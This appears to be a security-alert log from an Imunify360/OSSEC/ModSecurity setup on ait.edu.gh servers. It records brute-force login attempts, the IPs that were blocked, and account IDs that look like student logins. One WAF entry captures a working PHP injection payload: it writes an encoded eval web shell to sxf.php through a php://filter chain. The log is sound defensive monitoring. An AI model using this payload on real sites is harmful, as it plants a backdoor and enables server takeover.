name: Login failed on the cpanel service
abuser: 170.150.236.88
description:
[2025-01-29 11:54:55 +0100] info [webmaild] 170.150.236.88 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.134.108.215
description:
[2025-01-29 11:55:04 +0100] info [webmaild] 177.134.108.215 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.218.168.67
description:
Jan 29 11:56:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.218.168.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.101.124
description:
Jan 29 11:56:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.101.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.96.101.124
description:
2025-01-29 11:56:30 dovecot_plain authenticator failed for ([186.96.101.124]) [186.96.101.124]:44805: 535 Incorrect authentication data (set_id=ads19b00188y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.233.219.34
description:
2025-01-29 11:56:41 dovecot_plain authenticator failed for ([186.233.219.34]) [186.233.219.34]:45542: 535 Incorrect authentication data (set_id=ads19b00188y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.68.153.94
description:
Jan 29 11:56:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.68.153.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.68.153.94
description:
2025-01-29 11:56:04 dovecot_plain authenticator failed for ([150.242.239.128]) [222.68.153.94]:35629: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.218.168.67
description:
2025-01-29 11:56:19 dovecot_plain authenticator failed for (189.218.168.67-clientes-izzi.mx) [189.218.168.67]:59515: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.60.127
description:
47.128.60.127 - - [29/Jan/2025:11:56:26 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=32026080 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/?page_id=viagra-online-24-stunden" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.60.127


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.233.219.34
description:
Jan 29 11:56:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.233.219.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.230.81.49
description:
2025-01-29 11:57:02 dovecot_plain authenticator failed for ([49.231.234.142]) [49.230.81.49]:42470: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.228.225.22
description:
Jan 29 11:57:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.228.225.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.228.225.22
description:
2025-01-29 11:57:09 dovecot_plain authenticator failed for ([122.228.225.22]) [122.228.225.22]:45733: 535 Incorrect authentication data (set_id=abs4@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.91.144
description:
2025-01-29 11:57:15 dovecot_plain authenticator failed for ([58.16.91.144]) [58.16.91.144]:42310: 535 Incorrect authentication data (set_id=abs18b00066y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.151.105.171
description:
[2025-01-29 11:57:43 +0100] info [webmaild] 103.151.105.171 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.51.244.48
description:
[2025-01-29 11:57:45 +0100] info [webmaild] 38.51.244.48 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.230.81.49
description:
Jan 29 11:57:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.230.81.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.16.91.144
description:
Jan 29 11:57:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.16.91.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.134.96.117
description:
Jan 29 11:57:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.134.96.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.134.96.117
description:
2025-01-29 11:57:21 dovecot_plain authenticator failed for ([207.134.96.117]) [207.134.96.117]:51380: 535 Incorrect authentication data (set_id=abs4)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.120.58.228
description:
Jan 29 11:58:01 ait sshd[100532]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.120.58.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.120.58.228
description:
Jan 29 11:58:01 ait sshd[100532]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.120.58.228


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.114.33.161
description:
[2025-01-29 11:58:01 +0100] info [webmaild] 190.114.33.161 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.50.206.37
description:
[2025-01-29 11:59:42 +0100] info [webmaild] 200.50.206.37 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.73.225.80
description:
[2025-01-29 11:58:56 +0100] info [webmaild] 103.73.225.80 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.219.209.106
description:
[2025-01-29 12:00:11 +0100] info [webmaild] 102.219.209.106 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:00:16 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 12:00:38 ait sshd[102039]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 12:00:38 ait sshd[102039]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 12:01:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 195.142.16.88
description:
[2025-01-29 12:00:57 +0100] info [webmaild] 195.142.16.88 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 66.231.79.17
description:
[2025-01-29 12:01:40 +0100] info [webmaild] 66.231.79.17 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:01:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.93.177.228
description:
2025-01-29 12:02:29 dovecot_plain authenticator failed for ([111.93.177.228]) [111.93.177.228]:41324: 535 Incorrect authentication data (set_id=ads20b00370y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.28.60.82
description:
Jan 29 12:02:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.28.60.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.28.60.82
description:
2025-01-29 12:02:50 dovecot_plain authenticator failed for ([60.28.60.82]) [60.28.60.82]:36700: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.24
description:
Jan 29 12:02:09 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.24
description:
2025-01-29 12:02:11 dovecot_plain authenticator failed for (nsg-corporate-24.227.187.122.airtel.in) [122.187.227.24]:36792: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.93.177.228
description:
Jan 29 12:02:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.93.177.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.46.185.130
description:
Jan 29 12:03:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.46.185.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.46.185.130
description:
2025-01-29 12:03:28 dovecot_plain authenticator failed for ([59.46.185.130]) [59.46.185.130]:48260: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.110.48.181
description:
Jan 29 12:03:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.110.48.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.110.48.181
description:
2025-01-29 12:03:34 dovecot_plain authenticator failed for broadband-37-110-48-181.ip.moscow.rt.ru [37.110.48.181]:54166: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.93.12.184
description:
Jan 29 12:03:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.93.12.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.93.12.184
description:
2025-01-29 12:03:17 dovecot_plain authenticator failed for ([124.93.12.184]) [124.93.12.184]:48432: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.204.92.111
description:
[2025-01-29 12:05:19 +0100] info [webmaild] 213.204.92.111 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.8.174
description:
2025-01-29 12:06:03 dovecot_plain authenticator failed for ([60.166.8.174]) [60.166.8.174]:49775: 535 Incorrect authentication data (set_id=abio17@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 12:06:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.87.86
description:
Jan 29 12:06:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.87.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.93.87.86
description:
2025-01-29 12:06:14 dovecot_plain authenticator failed for (187-93-87-86.customer.tdatabrasil.net.br) [187.93.87.86]:42987: 535 Incorrect authentication data (set_id=abio17)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 109.245.200.221
description:
[2025-01-29 12:06:26 +0100] info [webmaild] 109.245.200.221 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.81.87.143
description:
[2025-01-29 12:05:54 +0100] info [webmaild] 185.81.87.143 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.8.174
description:
Jan 29 12:06:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.94.18.69
description:
Jan 29 12:07:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.94.18.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.154
description:
2025-01-29 12:07:22 dovecot_plain authenticator failed for ([122.187.230.154]) [122.187.230.154]:54393: 535 Incorrect authentication data (set_id=paakow2)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.161.130.205
description:
[2025-01-29 12:06:53 +0100] info [webmaild] 131.161.130.205 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.151.71.8
description:
2025-01-29 12:07:02 dovecot_plain authenticator failed for 37.151.71.8.dynamic.telecom.kz [37.151.71.8]:55362: 535 Incorrect authentication data (set_id=paakow2@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.154
description:
Jan 29 12:07:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.94.18.69
description:
2025-01-29 12:07:25 dovecot_plain authenticator failed for ([141.94.18.69]) [141.94.18.69]:33468: 535 Incorrect authentication data (set_id=bscs18bit0021y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.37.230.222
description:
[2025-01-29 12:06:58 +0100] info [webmaild] 177.37.230.222 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.77.62.38
description:
Jan 29 12:07:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.77.62.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.151.71.8
description:
Jan 29 12:07:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.151.71.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.53.18.44
description:
Jan 29 12:07:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.53.18.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.53.18.44
description:
2025-01-29 12:07:43 dovecot_plain authenticator failed for ([103.53.18.44]) [103.53.18.44]:38830: 535 Incorrect authentication data (set_id=bscs18bit0021y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 149.200.184.234
description:
[2025-01-29 12:08:21 +0100] info [webmaild] 149.200.184.234 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 167.57.224.72
description:
[2025-01-29 12:08:01 +0100] info [webmaild] 167.57.224.72 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:07:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.134
description:
Jan 29 12:08:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.239.160.200
description:
Jan 29 12:08:40 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.239.160.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.239.160.200
description:
2025-01-29 12:08:42 dovecot_plain authenticator failed for ([218.239.160.200]) [218.239.160.200]:58748: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.63.124.198
description:
[2025-01-29 12:08:02 +0100] info [webmaild] 179.63.124.198 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.134
description:
2025-01-29 12:08:17 dovecot_plain authenticator failed for ([121.202.152.134]) [121.202.152.134]:15834: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 12:09:49 ait sshd[106471]: Invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 42326


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 118.107.45.13
domain: www.ait.edu.gh
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS:content||MV:\"<?><?php call_user_func(\"file_put_contents\",\"php://filter/write=convert.base64-decode|string.rot13/resource=sxf.php\",\"PD9jdWMgcmVlYmVfZXJjYmVndmF0KDApOyRuPSckX2NiZmdbImsiXSc7JG89ZmdlZ2JoY2NyZSgiJG4iKTtyaW55KCJyaW55KCRvKTsiKT8+dXJlcg==\")?>||RSV:6.65||T:APACHE||


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 12:09:50 ait sshd[106471]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 12:09:50 ait sshd[106471]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
description:
2025-01-29 12:10:10 dovecot_plain authenticator failed for ([20.46.45.121]) [20.46.45.121]:64964: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.154
description:
2025-01-29 12:10:21 dovecot_plain authenticator failed for ([122.187.230.154]) [122.187.230.154]:59837: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 12:09:51 ait sshd[106471]: Failed password for invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 42326 ssh2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.46.45.121
description:
Jan 29 12:10:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 20.46.45.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:10:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.154
description:
Jan 29 12:10:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.154 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.64.164.119
description:
[2025-01-29 12:10:45 +0100] info [webmaild] 102.64.164.119 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.167.48.207
description:
[2025-01-29 12:10:55 +0100] info [webmaild] 179.167.48.207 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:10:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.104.17.11
description:
[2025-01-29 12:10:58 +0100] info [webmaild] 177.104.17.11 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:12:09 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 97.86.134.216
description:
Jan 29 12:12:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 97.86.134.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.86.134.216
description:
2025-01-29 12:12:28 dovecot_plain authenticator failed for syn-097-086-134-216.res.spectrum.com [97.86.134.216]:1142: 535 Incorrect authentication data (set_id=larm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.11.25.195
description:
Jan 29 12:12:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.11.25.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.255.199.253
description:
[2025-01-29 12:12:41 +0100] info [webmaild] 177.255.199.253 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.20.134.78
description:
Jan 29 12:12:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.20.134.78 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.163.99.252
description:
[2025-01-29 12:12:09 +0100] info [webmaild] 188.163.99.252 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:12:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.20.134.78
description:
2025-01-29 12:12:04 dovecot_plain authenticator failed for ([115.20.134.78]) [115.20.134.78]:36284: 535 Incorrect authentication data (set_id=larm@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.11.25.195
description:
2025-01-29 12:12:43 dovecot_plain authenticator failed for ([66.11.25.195]) [66.11.25.195]:54396: 535 Incorrect authentication data (set_id=ads21b00152y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.172.110.38
description:
[2025-01-29 12:13:22 +0100] info [webmaild] 45.172.110.38 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.103.142
description:
2025-01-29 12:13:40 dovecot_plain authenticator failed for ([58.18.103.142]) [58.18.103.142]:34602: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.89.202.226
description:
2025-01-29 12:13:01 dovecot_plain authenticator failed for syn-097-089-202-226.biz.spectrum.com [97.89.202.226]:57148: 535 Incorrect authentication data (set_id=ads21b00152y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.180.2.62
description:
Jan 29 12:13:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.180.2.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.71.191.43
description:
2025-01-29 12:12:56 dovecot_plain authenticator failed for ([1.71.191.42]) [1.71.191.43]:38528: 535 Incorrect authentication data (set_id=ads21b00192y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.81.124.84
description:
[2025-01-29 12:13:00 +0100] info [webmaild] 186.81.124.84 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.71.191.43
description:
Jan 29 12:12:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.71.191.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.47
description:
2025-01-29 12:12:55 dovecot_plain authenticator failed for ([178.178.222.47]) [178.178.222.47]:41748: 535 Incorrect authentication data (set_id=ads19a00027y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.180.2.62
description:
2025-01-29 12:13:15 dovecot_plain authenticator failed for ([222.180.2.62]) [222.180.2.62]:57700: 535 Incorrect authentication data (set_id=ads19a00027y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.45.217.249
description:
Jan 29 12:13:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.45.217.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.103.142
description:
Jan 29 12:13:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.103.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.47
description:
Jan 29 12:12:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 97.89.202.226
description:
Jan 29 12:12:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 97.89.202.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.45.217.249
description:
2025-01-29 12:13:23 dovecot_plain authenticator failed for ([14.45.217.249]) [14.45.217.249]:38060: 535 Incorrect authentication data (set_id=ads21b00192y)


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 118.107.45.13
domain: www.ait.edu.gh
description:
